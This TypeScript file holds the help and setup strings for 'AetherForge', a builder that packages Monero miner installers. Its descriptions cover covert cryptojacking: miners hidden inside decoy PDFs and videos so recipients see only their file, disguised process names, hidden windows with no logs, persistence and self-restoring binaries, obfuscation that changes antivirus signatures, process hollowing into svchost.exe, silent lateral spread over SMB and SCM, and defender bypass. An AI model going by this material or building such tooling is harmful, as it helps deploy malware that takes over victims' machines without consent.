AetherForge/server/web/src/help/settingHelp.ts

export const SETUP_CHEATSHEET = [
  {
    title: '1. Calibrate once',
    body: 'Set your Monero wallet and LAN URL on the Calibrate tab, then Save. Click “Use best defaults” if you are not sure — we fill in the detected LAN address and sensible pool settings.',
  },
  {
    title: '2. Forge (Simple mode)',
    body: 'On Forge, Simple mode keeps only what you need: worker name, server URL, wallet. Everything else uses recommended defaults (idle mining, stealth, persistence). Pick a LAN chip, then FORGE INSTALLER.',
  },
  {
    title: '3. Deploy',
    body: 'Copy the .exe from the project root to each worker PC and run it once. It installs, connects back, and appears on Command Deck.',
  },
  {
    title: '4. Watch the fleet',
    body: 'Command Deck shows live hashrate. Fleet Roster has remote controls when you need them.',
  },
];

export const FIELD_HELP: Record<string, string> = {
  calibrate_wallet:
    'Your Monero payout address. Forge copies this into new installers automatically. Must start with 4 and be ~95 characters.',
  calibrate_quick_setup:
    'One click fills the detected LAN URL, keeps firewall open for agents, and leaves advanced forge options at safe defaults.',
  forge_simple_mode:
    'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
  forge_recommended_defaults:
    'Idle mining (only when you are not using the PC), 75% of CPU cores, hidden window, persistence, self-healing, and worker firewall rules — good starting point for a home LAN fleet.',
  obfuscate:
    'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (run.bat installs it).',
  sign_build:
    'Signs the output .exe with your Authenticode certificate after forging. Configure the cert thumbprint in Calibrate → Forge Pipeline first.',
  obfuscate_default:
    'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with run.bat release.',
  sign_enabled:
    'When checked, new Forge forms default to signing outputs. You still need a valid code-signing cert thumbprint below.',
  sign_cert_thumbprint:
    'SHA-1 thumbprint from certmgr.msc → your certificate → Details. The private key must be on this control PC.',
  sign_tool_path:
    'Optional full path to signtool.exe. Leave blank to auto-detect from the Windows SDK.',
  sign_timestamp_url:
    'RFC 3161 timestamp server used during signing so signatures stay valid after the cert expires.',
  worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3. We auto-suggest worker-1, worker-2, …',
  server_url:
    'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.',
  output_dir:
    'Optional extra copy into a subfolder (e.g. exports). The forged .exe is always written to the project root as a single file with the same name as your Fusion output setting.',
  wallet: 'Monero wallet address where pool payouts go. Must be a valid mainnet address starting with 4 or 8.',
  pool_host: 'Upstream Monero pool hostname. The control server connects here and relays work to your fleet.',
  pool_port: 'Pool Stratum port. SupportXMR TLS is usually 443 or 3333 depending on pool docs.',
  pool_tls: 'Enable for stratum+ssl pools. Must match what your pool requires.',
  pool_pass: 'Pool password, usually x for Monero. Some pools use wallet+worker syntax.',
  threads: 'Fixed thread count when Thread Mode is Fixed. More threads = more hashrate but more CPU heat.',
  thread_mode: 'Auto (% of cores) adapts to each machine. Fixed uses an exact thread count on every PC.',
  thread_percent: 'Percentage of logical CPU cores to use when Thread Mode is Auto. 75% on an 8-core box ≈ 6 threads.',
  max_cpu_usage_pct: 'Target ceiling for miner CPU usage. Agent throttles when reporting usage above this.',
  max_memory_percent: 'Maximum share of system RAM the miner should respect. Helps avoid swapping on low-RAM machines.',
  min_free_ram_mb: 'Pause mining if free system RAM drops below this value (MB). Protects desktop usability.',
  cpu_priority: 'Windows process priority. Below Normal or Idle keeps the PC usable while mining.',
  mining_mode: 'Always = mine continuously. Idle = only when user is inactive. Scheduled = mine during set hours.',
  idle_threshold_pct: 'For Idle mode: system CPU must stay below this % for Idle Duration before mining starts.',
  idle_duration_minutes: 'How long the machine must be idle before mining begins.',
  schedule_start: 'For Scheduled mode: daily start time (24h).',
  schedule_end: 'For Scheduled mode: daily stop time (24h). Can cross midnight.',
  display_mode: 'Visible shows a console window. Silent hides the window. Background is silent plus low priority — best for desktops.',
  process_name: 'Installed .exe filename without extension. Shows in Task Manager. Example: RuntimeBrokerHelper',
  persistence: 'When enabled, miner auto-starts after reboot via Windows Run key or scheduled task.',
  run_as: 'User = Run key when persistence is on. Scheduled/Service always creates a logon task (persistence forced on — checkbox locks).',
  silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
  auto_start: 'Same as Persistence. Keeps miner running after reboot.',
  fusion_enabled:
    'Fuse the miner with any file — PDF, video, Word doc, image, or executable. When the person opens the fusion package, their file opens normally while the miner installs silently in the background.',
  fusion_run_order:
    'When to open the decoy file vs. install the miner. Parallel = both happen at the same time (recommended — least delay). File first = file opens before miner starts. Miner first = miner installs first, file opens after.',
  fusion_prep:
    'Any file you want to use as a decoy — PDF, video (MP4/MOV/MKV), Word document, spreadsheet, image, or Windows executable. The recipient sees only their normal file; the miner installs silently. Max 2 GB.',
  fusion_media_mode:
    'All-in-one (embedded): the file is baked directly into the runner binary — one file to send, best for files under ~500 MB. ZIP bundle (paired): your original file + runners packaged in a ZIP — works for any size file.',
  fusion_output_name:
    'The name of the runner binary inside the ZIP (e.g. report-runner.exe). The recipient runs this to open their file and trigger the install. Leave blank to auto-generate from your file name.',
  fusion_batch:
    'Queue multiple files at once — each one produces its own separate universal ZIP. Great for delivering a folder of documents or videos. The recipient only needs to run the launcher for their OS.',
  install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
  install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
  install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
  public_url: 'Override the LAN URL shown in Forge and given to new miners. Use http://192.168.x.x:8989 — not localhost — so other PCs can reach this server.',
  websocket_ping_seconds: 'How often the server pings dashboard and agent WebSockets (seconds). Keeps NAT/firewall sessions alive.',
  log_pool_traffic: 'Verbose Stratum wire logging to the server console — for debugging pool connectivity only.',
  adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.',
  self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.',
  firewall_exclusion: 'On first install, adds Windows Firewall inbound/outbound allow rules for the installed miner .exe. Helps on locked-down PCs; may require one Run as administrator if the rule fails.',
  open_firewall_on_start: 'When enabled, the control server adds a Windows Firewall inbound rule for its listen port (default 8989) on startup so LAN agents can connect.',
  file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).',
  stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.',
  ai_enabled: 'Enable AI Autonomy — the forged miner periodically asks the control server for Ollama decisions (self-healing, persistence checks). Requires Ollama reachable from the control server.',
  ai_ollama_endpoint: 'Ollama API URL on the control server machine (example: http://localhost:11434). The hub calls Ollama — not the worker directly.',
  ai_model: 'Ollama model name to use for AI decisions (example: llama3.2). Must be pulled locally on the control server.',
  process_hollowing: 'Memory injection: runs the miner invisibly inside a legitimate Windows process (e.g., svchost.exe) instead of the normal executable. Extremely stealthy.',
  mesh_p2p: 'Mesh Networking: If the control server is unreachable, route mining shares through other connected agents on the same local network.',
  auto_spread: 'Lateral Movement: Silently attempts to copy and execute the miner on other machines in the local network using Windows SMB and Service Control Manager (SCM). Relies on the current user having network admin privileges.',
  hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
  remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.',
  target_os: 'Target platform: Windows-only, Linux, macOS, or Universal (all three in one ZIP). Movie fusion and Spread Kit always use Universal.',
  target_arch: 'CPU architecture for single-platform Linux/macOS builds (amd64 or arm64). Ignored for Universal.',
  spread_kit: 'Spread Kit ZIP: deploy scripts for each OS that silently install the worker via --spread-install. No fusion wrapper.',
  forge_deliverable: 'What you are shipping: a single-platform installer, a silent multi-OS Spread Kit, or a movie/prep fusion package.',
};